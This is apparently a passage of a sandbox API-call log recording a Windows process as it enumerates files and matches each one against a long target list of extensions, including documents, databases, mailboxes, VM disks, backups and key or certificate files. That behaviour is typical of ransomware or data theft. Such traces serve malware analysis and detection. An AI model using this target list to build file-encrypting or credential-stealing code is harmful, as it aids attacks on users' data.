PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.qbb") returned 0 [0103.719] lstrlenA (lpString="*.qbb") returned 5 [0103.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.qbm") returned 0 [0103.719] lstrlenA (lpString="*.qbm") returned 5 [0103.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.qbo") returned 0 [0103.719] lstrlenA (lpString="*.qbo") returned 5 [0103.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.qbx") returned 0 [0103.719] lstrlenA (lpString="*.qbx") returned 5 [0103.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.qba") returned 0 [0103.719] lstrlenA (lpString="*.qba") returned 5 [0103.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.qby") returned 0 [0103.719] lstrlenA (lpString="*.qby") returned 5 [0103.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.qbj") returned 0 [0103.719] lstrlenA (lpString="*.qbj") returned 5 [0103.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.ofx") returned 0 [0103.719] lstrlenA (lpString="*.ofx") returned 5 [0103.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.qif") returned 0 [0103.720] lstrlenA (lpString="*.qif") returned 5 [0103.720] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.mye") returned 0 [0103.720] lstrlenA (lpString="*.mye") returned 5 [0103.720] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.mbox") returned 0 [0103.720] lstrlenA (lpString="*.mbox") returned 6 [0103.720] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.eml") returned 0 [0103.720] lstrlenA (lpString="*.eml") returned 5 [0103.720] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.pst") returned 0 [0103.720] lstrlenA (lpString="*.pst") returned 5 [0103.720] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.ost") returned 0 [0103.720] lstrlenA (lpString="*.ost") returned 5 [0103.720] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.idx") returned 0 [0103.720] lstrlenA (lpString="*.idx") returned 5 [0103.720] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.dbx") returned 0 [0103.720] lstrlenA (lpString="*.dbx") returned 5 [0103.720] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.sql") returned 0 [0103.720] lstrlenA (lpString="*.sql") returned 5 [0103.720] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.mdb") returned 0 [0103.720] lstrlenA (lpString="*.mdb") returned 5 [0103.720] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.fdb") returned 0 [0103.720] lstrlenA (lpString="*.fdb") returned 5 [0103.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.wab") returned 0 [0103.721] lstrlenA (lpString="*.wab") returned 5 [0103.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.dat") returned 0 [0103.721] lstrlenA (lpString="*.dat") returned 5 [0103.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.txt") returned 0 [0103.721] lstrlenA (lpString="*.txt") returned 5 [0103.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.jpeg") returned 0 [0103.721] lstrlenA (lpString="*.jpeg") returned 6 [0103.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.jpg") returned 0 [0103.721] lstrlenA (lpString="*.jpg") returned 5 [0103.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.png") returned 0 [0103.721] lstrlenA (lpString="*.png") returned 5 [0103.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.php") returned 0 [0103.721] lstrlenA (lpString="*.php") returned 5 [0103.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.cs") returned 0 [0103.722] lstrlenA (lpString="*.cs") returned 4 [0103.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.cpp") returned 0 [0103.722] lstrlenA (lpString="*.cpp") returned 5 [0103.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.rar") returned 0 [0103.722] lstrlenA (lpString="*.rar") returned 5 [0103.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.zip") returned 0 [0103.722] lstrlenA (lpString="*.zip") returned 5 [0103.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.html") returned 0 [0103.722] lstrlenA (lpString="*.html") returned 6 [0103.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.htm") returned 0 [0103.722] lstrlenA (lpString="*.htm") returned 5 [0103.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.xlsx") returned 0 [0103.722] lstrlenA (lpString="*.xlsx") returned 6 [0103.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.xls") returned 0 [0103.722] lstrlenA (lpString="*.xls") returned 5 [0103.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.mp4") returned 0 [0103.722] lstrlenA (lpString="*.mp4") returned 5 [0103.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.ppt") returned 0 [0103.723] lstrlenA (lpString="*.ppt") returned 5 [0103.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.pptx") returned 0 [0103.723] lstrlenA (lpString="*.pptx") returned 6 [0103.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.doc") returned 0 [0103.723] lstrlenA (lpString="*.doc") returned 5 [0103.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.dot") returned 0 [0103.723] lstrlenA (lpString="*.dot") returned 5 [0103.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.docx") returned 0 [0103.723] lstrlenA (lpString="*.docx") returned 6 [0103.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.7z") returned 0 [0103.723] lstrlenA (lpString="*.7z") returned 4 [0103.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.tar") returned 0 [0103.723] lstrlenA (lpString="*.tar") returned 5 [0103.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.bz2") returned 0 [0103.723] lstrlenA (lpString="*.bz2") returned 5 [0103.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.gz") returned 0 [0103.723] lstrlenA (lpString="*.gz") returned 4 [0103.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.mkv") returned 0 [0103.723] lstrlenA (lpString="*.mkv") returned 5 [0103.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.eml") returned 0 [0103.724] lstrlenA (lpString="*.eml") returned 5 [0103.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.msg") returned 0 [0103.724] lstrlenA (lpString="*.msg") returned 5 [0103.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.edb") returned 0 [0103.724] lstrlenA (lpString="*.edb") returned 5 [0103.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.accdb") returned 0 [0103.724] lstrlenA (lpString="*.accdb") returned 7 [0103.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.odb") returned 0 [0103.724] lstrlenA (lpString="*.odb") returned 5 [0103.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.java") returned 0 [0103.724] lstrlenA (lpString="*.java") returned 6 [0103.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.asm") returned 0 [0103.724] lstrlenA (lpString="*.asm") returned 5 [0103.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.pfx") returned 0 [0103.724] lstrlenA (lpString="*.pfx") returned 5 [0103.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.pem") returned 0 [0103.724] lstrlenA (lpString="*.pem") returned 5 [0103.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.p12") returned 0 [0103.725] lstrlenA (lpString="*.p12") returned 5 [0103.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.gpg") returned 0 [0103.725] lstrlenA (lpString="*.gpg") returned 5 [0103.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.vsd") returned 0 [0103.725] lstrlenA (lpString="*.vsd") returned 5 [0103.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.odg") returned 0 [0103.725] lstrlenA (lpString="*.odg") returned 5 [0103.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.raw") returned 0 [0103.725] lstrlenA (lpString="*.raw") returned 5 [0103.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.nef") returned 0 [0103.725] lstrlenA (lpString="*.nef") returned 5 [0103.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.svg") returned 0 [0103.725] lstrlenA (lpString="*.svg") returned 5 [0103.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.psd") returned 0 [0103.725] lstrlenA (lpString="*.psd") returned 5 [0103.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.vmx") returned 0 [0103.725] lstrlenA (lpString="*.vmx") returned 5 [0103.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.vmdk") returned 0 [0103.726] lstrlenA (lpString="*.vmdk") returned 6 [0103.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.vdi") returned 0 [0103.726] lstrlenA (lpString="*.vdi") returned 5 [0103.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.lay6") returned 0 [0103.726] lstrlenA (lpString="*.lay6") returned 6 [0103.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.mpeg") returned 0 [0103.726] lstrlenA (lpString="*.mpeg") returned 6 [0103.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.djvu") returned 0 [0103.726] lstrlenA (lpString="*.djvu") returned 6 [0103.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.tiff") returned 0 [0103.726] lstrlenA (lpString="*.tiff") returned 6 [0103.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.backup") returned 0 [0103.726] lstrlenA (lpString="*.backup") returned 8 [0103.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.pdf") returned 0 [0103.726] lstrlenA (lpString="*.pdf") returned 5 [0103.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.cert") returned 0 [0103.726] lstrlenA (lpString="*.cert") returned 6 [0103.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.docm") returned 0 [0103.726] lstrlenA (lpString="*.docm") returned 6 [0103.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.xlsm") returned 0 [0103.727] lstrlenA (lpString="*.xlsm") returned 6 [0103.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.dwg") returned 0 [0103.727] lstrlenA (lpString="*.dwg") returned 5 [0103.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.nd") returned 0 [0103.727] lstrlenA (lpString="*.nd") returned 4 [0103.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.tlg") returned 0 [0103.727] lstrlenA (lpString="*.tlg") returned 5 [0103.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.lgb") returned 0 [0103.727] lstrlenA (lpString="*.lgb") returned 5 [0103.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.mov") returned 0 [0103.727] lstrlenA (lpString="*.mov") returned 5 [0103.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.xdw") returned 0 [0103.727] lstrlenA (lpString="*.xdw") returned 5 [0103.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.ods") returned 0 [0103.727] lstrlenA (lpString="*.ods") returned 5 [0103.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.wav") returned 0 [0103.727] lstrlenA (lpString="*.wav") returned 5 [0103.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.mp3") returned 0 [0103.728] lstrlenA (lpString="*.mp3") returned 5 [0103.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.aiff") returned 0 [0103.728] lstrlenA (lpString="*.aiff") returned 6 [0103.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.flac") returned 0 [0103.728] lstrlenA (lpString="*.flac") returned 6 [0103.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.m4a") returned 0 [0103.728] lstrlenA (lpString="*.m4a") returned 5 [0103.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\e7904d77bcee77868d534546ed2a61b6\\Microsoft.Windows.Diagnosis.SDEngine.ni.dll", pszSpec="*.csv") returned 0 [0103.728] lstrlenA (lpString="*.csv") returned 5 [0103.728] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6db8f2f1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6db8f2f1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6db8f2f1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.SDEngine.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0103.728] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.728] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d4dd505, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6d4dd505, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6d4dd505, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="ee8ed3c8e7f0281a9e29c7cdf050b69d", cAlternateFileName="EE8ED3~1")) returned 1 [0103.728] lstrcmpA (lpString1=".", lpString2="ee8ed3c8e7f0281a9e29c7cdf050b69d") returned -1 [0103.728] lstrcmpA (lpString1="..", lpString2="ee8ed3c8e7f0281a9e29c7cdf050b69d") returned -1 [0103.728] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\*.*") returned="*.*" [0103.729] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\", 